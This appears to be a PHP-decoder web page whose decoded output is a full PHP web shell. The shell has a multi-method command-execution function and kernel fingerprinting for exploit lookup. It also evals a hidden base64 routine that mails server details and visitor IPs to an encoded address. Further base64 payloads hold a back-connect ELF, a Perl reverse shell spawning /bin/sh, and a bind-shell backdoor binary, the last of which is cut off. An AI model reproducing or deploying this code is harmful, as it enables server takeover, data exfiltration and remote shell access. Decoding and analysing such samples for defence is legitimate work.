Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode('QHNlc3Npb25fc3RhcnQoKTsKQHNldF90aW1lX2xpbWl0KDApOyAKQCRwYXNzID0g..
Decoded Output download
function selfURL() { $s = empty($_SERVER["HTTPS"]) ? '' : ($_SERVER["HTTPS"] == "on") ? "s" : ""; $protocol = strleft(strtolower($_SERVER["SERVER_PROTOCOL"]), "/").$s; $port = ($_SERVER["SERVER_PORT"] == "80") ? "" : (":".$_SERVER["SERVER_PORT"]); return $protocol."://".$_SERVER['SERVER_NAME'].$port.$_SERVER['REQUEST_URI']; } function strleft($s1, $s2) { return substr($s1, 0, strpos($s1, $s2)); }
$selfurl = base64_encode(selfURL());
$Lversion = php_uname(r);
$OSV = php_uname(s);
if(eregi("Linux",$OSV))
{
$Lversion=substr($Lversion,0,6);
$packet="http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=Linux+Kernel+".$Lversion;
}else{
$Lversion=substr($Lversion,0,3);
$packet="http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=".$OSV."+".$Lversion;
}
if (!function_exists("o2xdaexec"))
{
if(is_callable("popen")){
function o2xdaexec($command) {
if (!($p=popen("($command)2>&1","r"))) {
return 126;
}
while (!feof($p)) {
$line=fgets($p,1000);
$out .= $line;
}
pclose($p);
return $out;
}
}else{
function o2xdaexec($cmd)
{
global $disablefunc;
$result = "";
if (!empty($cmd))
{
if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("
",$result);}
elseif (($result = `$cmd`) !== FALSE) {}
elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_resource($fp = popen($cmd,"r")))
{
$result = "";
while(!feof($fp)) {$result .= fread($fp,1024);}
pclose($fp);
}
}
return $result;
}
}
}
$www="CiRjcmVhdG9yPWJhc2U2NF9kZWNvZGUoIlpISnBaVGc0UUdONVltVnljMlZ5ZG1salpYTXVZMjl0Iik7Cigkc2FmZV9tb2RlKT8oJHNhZmV6PSJPTiIpOigkc2FmZXo9ImJsYWNrX1llYWgiKTsKJGJhc2U9Imh0dHA6Ly8iLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsgCiRuYW1lID0gcGhwX3VuYW1lKCk7ICRpcCA9IGdldGVudigiUkVNT1RFX0FERFIiKTsgJGlwMiA9IGdldGhvc3RieWFkZHIoJF9TRVJWRVJbUkVNT1RFX0FERFJdKTsgJHN1YmogPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ107IAokcGVzYW4gPSAiXG5JTkZPOiAkYmFzZVxudW5hbWUgYTogJG5hbWVcbkJ5cGFzczogJGJ5cGFzc2VyXG5JUDogJGlwXG5Ib3N0OiAkaXAyICRwX2NvZGUiOwokZnJvbSA9IkZyb206ICIuJHdyaXQuIl9eXyIuJHNhZmV6LiI8dG9vbEAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iPiI7Cm1haWwoICRjcmVhdG9yLCAkc3ViaiwgJHBlc2FuLCAkZnJvbSk7"; eval(base64_decode($www));
$back_connect_c="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAA2IUECDQAAABMDAAAAAAAADQAIAAHACgAHAAZAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQILAkAACwJAAAFAAAAABAAAAEAAAAsCQAALJkECCyZBAg4AQAAPAEAAAYAAAAAEAAAAgAAAEAJAABAmQQIQJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAABQAAABEAAAAUAAAAAAAAAAAAAAARAAAAEgAAAAcAAAAKAAAACwAAAAgAAAAPAAAAAwAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAABgAAAAAAAAABAAAAAAAAAAkAAAAAAAAADAAAAAAAAAAAAAAADQAAAA4AAAACAAAABAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAAAAAABwBAAASAAAArAAAAAAAAABxAAAAEgAAADwAAAAAAAAACwIAABIAAABIAAAAAAAAAH0AAAASAAAAjAAAAAAAAACsAQAAEgAAAKUAAAAAAAAArwAAABIAAABjAAAAAAAAACcAAAASAAAAkwAAAAAAAADdAAAAEgAAAEMAAAAAAAAAOgAAABIAAABcAAAAAAAAAKoBAAASAAAAVgAAAAAAAAA2AAAAEgAAAHMAAAAAAAAA2QAAABIAAAB4AAAAAAAAACgAAAASAAAAbQAAAAAAAAAOAAAAEgAAAC4AAAAAAAAAeAAAABIAAAB9AAAA8IgECAQAAAARAA4ATwAAAAAAAAA5AAAAEgAAAAEAAAAAAAAAAAAAACAAAAAVAAAAAAAAAAAAAAAgAAAAAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18AbGliYy5zby42AGNvbm5lY3QAZXhlY2wAcGVycm9yAGR1cDIAc3lzdGVtAHNvY2tldABiemVybwBzdHJjYXQAaW5ldF9hZGRyAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABkYWVtb24AX19saWJjX3N0YXJ0X21haW4Ac3RybGVuAGNsb3NlAEdMSUJDXzIuMAAAAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAEAAgAAAAAAAQABACQAAAAQAAAAAAAAABBpaQ0AAAIAsgAAAAAAAAAImgQIBhMAABiaBAgHAQAAHJoECAcCAAAgmgQIBwMAACSaBAgHBAAAKJoECAcFAAAsmgQIBwYAADCaBAgHBwAANJoECAcIAAA4mgQIBwkAADyaBAgHCgAAQJoECAcLAABEmgQIBwwAAEiaBAgHDQAATJoECAcOAABQmgQIBw8AAFSaBAgHEQAAVYnlg+wI6EEBAADolAEAAOjnAwAAycMA/zUQmgQI/yUUmgQIAAAAAP8lGJoECGgAAAAA6eD/////JRyaBAhoCAAAAOnQ/////yUgmgQIaBAAAADpwP////8lJJoECGgYAAAA6bD/////JSiaBAhoIAAAAOmg/////yUsmgQIaCgAAADpkP////8lMJoECGgwAAAA6YD/////JTSaBAhoOAAAAOlw/////yU4mgQIaEAAAADpYP////8lPJoECGhIAAAA6VD/////JUCaBAhoUAAAAOlA/////yVEmgQIaFgAAADpMP////8lSJoECGhgAAAA6SD/////JUyaBAhoaAAAAOkQ/////yVQmgQIaHAAAADpAP////8lVJoECGh4AAAA6fD+//8x7V6J4YPk8FBUUmhoiAQIaBSIBAhRVmiAhgQI6E/////0kJBVieVT6AAAAABbgcMHFAAAUouD/P///4XAdAL/0FhbycOQkJBVieWD7AiAPWSaBAgAdA/rH412AIPABKNgmgQI/9KhYJoECIsQhdJ168YFZJoECAHJw4n2VYnlg+wIoTyZBAiFwHQZuAAAAACFwHQQg+wMaDyZBAj/0IPEEI12AMnDkJBVieVXVlOD7EyD5PC4AAAAAIPAD4PAD8HoBMHgBCnEjX2ovvSIBAj8uQcAAADzpI19r/y5DgAAALAA86qD7AhqAGoB6FD+//+DxBBmx0XIAgCD7AyLRQyDwAj/MOi3/v//g8QQD7fAg+wMUOi4/v//g8QQZolFyoPsDItFDIPABP8w6DH+//+D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EgAAAFwCAAAAAAAAKAAAABIAAABsAgAAZJoECAAAAAAQAPH/cwIAAAyaBAgAAAAAEQAVAIkCAABomgQIAAAAABAA8f+OAgAAAAAAAA4AAAASAAAAnwIAAAAAAAB4AAAAEgAAALICAAAsmQQIAAAAABAC8f/FAgAA8IgECAQAAAARAA4A1AIAAFiaBAgAAAAAEAAWAOECAAAAAAAAOQAAABIAAADzAgAAAAAAAAAAAAAgAAAABwMAACyZBAgAAAAAEALx/x0DAAAAAAAAAAAAACAAAAAAY2FsbF9nbW9uX3N0YXJ0AGNydHN0dWZmLmMAX19DVE9SX0xJU1RfXwBfX0RUT1JfTElTVF9fAF9fSkNSX0xJU1RfXwBwLjAAY29tcGxldGVkLjEAX19kb19nbG9iYWxfZHRvcnNfYXV4AGZyYW1lX2R1bW15AF9fQ1RPUl9FTkRfXwBfX0RUT1JfRU5EX18AX19GUkFNRV9FTkRfXwBfX0pDUl9FTkRfXwBfX2RvX2dsb2JhbF9jdG9yc19hdXgAYmFjay5jAGV4ZWNsQEBHTElCQ18yLjAAX0RZTkFNSUMAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAX19maW5pX2FycmF5X2VuZABfX2Rzb19oYW5kbGUAX19saWJjX2NzdV9maW5pAHN5c3RlbUBAR0xJQkNfMi4wAF9pbml0AGRhZW1vbkBAR0xJQkNfMi4wAF9zdGFydABzdHJsZW5AQEdMSUJDXzIuMABfX2ZpbmlfYXJyYXlfc3RhcnQAX19saWJjX2NzdV9pbml0AGluZXRfYWRkckBAR0xJQkNfMi4wAF9fYnNzX3N0YXJ0AG1haW4AX19saWJjX3N0YXJ0X21haW5AQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfZW5kAGR1cDJAQEdMSUJDXzIuMABzdHJjYXRAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AF9maW5pAF9fcHJlaW5pdF9hcnJheV9lbmQAYnplcm9AQEdMSUJDXzIuMABleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfR0xPQkFMX09GRlNFVF9UQUJMRV8AX2VuZABodG9uc0BAR0xJQkNfMi4wAGNvbm5lY3RAQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfc3RhcnQAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19wcmVpbml0X2FycmF5X3N0YXJ0AF9fZ21vbl9zdGFydF9fAA==";
$back_connect="IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7CiRjbWQ9ICJseW54IjsKJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiOyc7CiRzeXN0ZW0xPSAnZWNobyAiYGlkYCI7JzsKJHN5c3RlbTI9ICdlY2hvICJgcHdkYCI7JzsKJHN5c3RlbTM9ICdlY2hvICJgd2hvYW1pYEBgaG9zdG5hbWVgOn4gPiI7JzsKJHN5c3RlbTQ9ICcvYmluL3NoJzsKJDA9JGNtZDsKJHRhcmdldD0kQVJHVlswXTsKJHBvcnQ9JEFSR1ZbMV07CiRpYWRkcj1pbmV0X2F0b24oJHRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOwokcGFkZHI9c29ja2FkZHJfaW4oJHBvcnQsICRpYWRkcikgfHwgZGllKCJFcnJvcjogJCFcbiIpOwokcHJvdG89Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOwpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7CmNvbm5lY3QoU09DS0VULCAkcGFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsKb3BlbihTVERJTiwgIj4mU09DS0VUIik7Cm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsKb3BlbihTVERFUlIsICI+JlNPQ0tFVCIpOwpwcmludCAiXG5cbjo6IEN5YmVyIEdyb250b2wgU3lzdGVtIDo6XG5cbiI7CnByaW50ICJcblN5c3RlbSBJbmZvOiAiOyAKc3lzdGVtKCRzeXN0ZW0pOwpwcmludCAiXG5Zb3VyIElEOiAiOyAKc3lzdGVtKCRzeXN0ZW0xKTsKcHJpbnQgIlxuQ3VycmVudCBEaXJlY3Rvcnk6ICI7IApzeXN0ZW0oJHN5c3RlbTIpOwpwcmludCAiXG4iOwpzeXN0ZW0oJHN5c3RlbTMpOyBzeXN0ZW0oJHN5c3RlbTQpOwpjbG9zZShTVERJTik7CmNsb3NlKFNURE9VVCk7CmNsb3NlKFNUREVSUik7";
$backdoor="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAA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